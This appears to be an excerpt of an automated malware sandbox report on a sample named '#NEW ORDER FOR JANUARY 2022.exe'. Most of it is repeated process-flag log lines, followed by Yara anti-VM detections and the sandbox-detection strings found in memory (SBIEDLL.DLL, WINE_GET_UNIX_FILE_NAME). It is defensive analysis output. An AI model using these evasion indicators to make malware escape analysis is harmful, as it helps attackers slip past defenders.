Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion:

Yara detected AntiVM3

Show sources

Source: Yara match	File source: 32.2.svchost.exe.5f89510.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.#NEW ORDER FOR JANUARY 2022.exe.5a90000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.#NEW ORDER FOR JANUARY 2022.exe.5a90000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 36.2.svchost.exe.6330000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.svchost.exe.5f70000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.svchost.exe.5f70000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 36.2.svchost.exe.6349510.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.#NEW ORDER FOR JANUARY 2022.exe.5aa9510.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 36.2.svchost.exe.6330000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000030.00000002.929093994.0000000006280000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.737999019.0000000005A90000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000002.850912152.0000000006330000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.786901859.0000000005F70000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000002.920418875.0000000005C10000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000002.895927015.0000000005330000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: #NEW ORDER FOR JANUARY 2022.exe PID: 6588, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 4876, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 6712, type: MEMORYSTR

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: #NEW ORDER FOR JANUARY 2022.exe, 00000000.00000002.723973005.0000000003251000.00000004.00000001.sdmp	Binary or memory string: SBIEDLL.DLL?
Source: #NEW ORDER FOR JANUARY 2022.exe, 00000000.00000002.734755598.0000000004305000.00000004.00000001.sdmp, #NEW ORDER FOR JANUARY 2022.exe, 00000000.00000003.706917679.00000000062D2000.00000004.00000001.sdmp, svchost.exe, 00000020.00000002.778887336.00000000046B1000.00000004.00000001.sdmp, svchost.exe, 00000020.00000003.735522789.00000000067C2000.00000004.00000001.sdmp, svchost.exe, 00000024.00000003.756169106.0000000006B42000.00000004.00000001.sdmp, svchost.exe, 00000024.00000002.828856160.00000000047BC000.00000004.00000001.sdmp	Binary or memory string: WINE_GET_UNIX_FILE_NAME
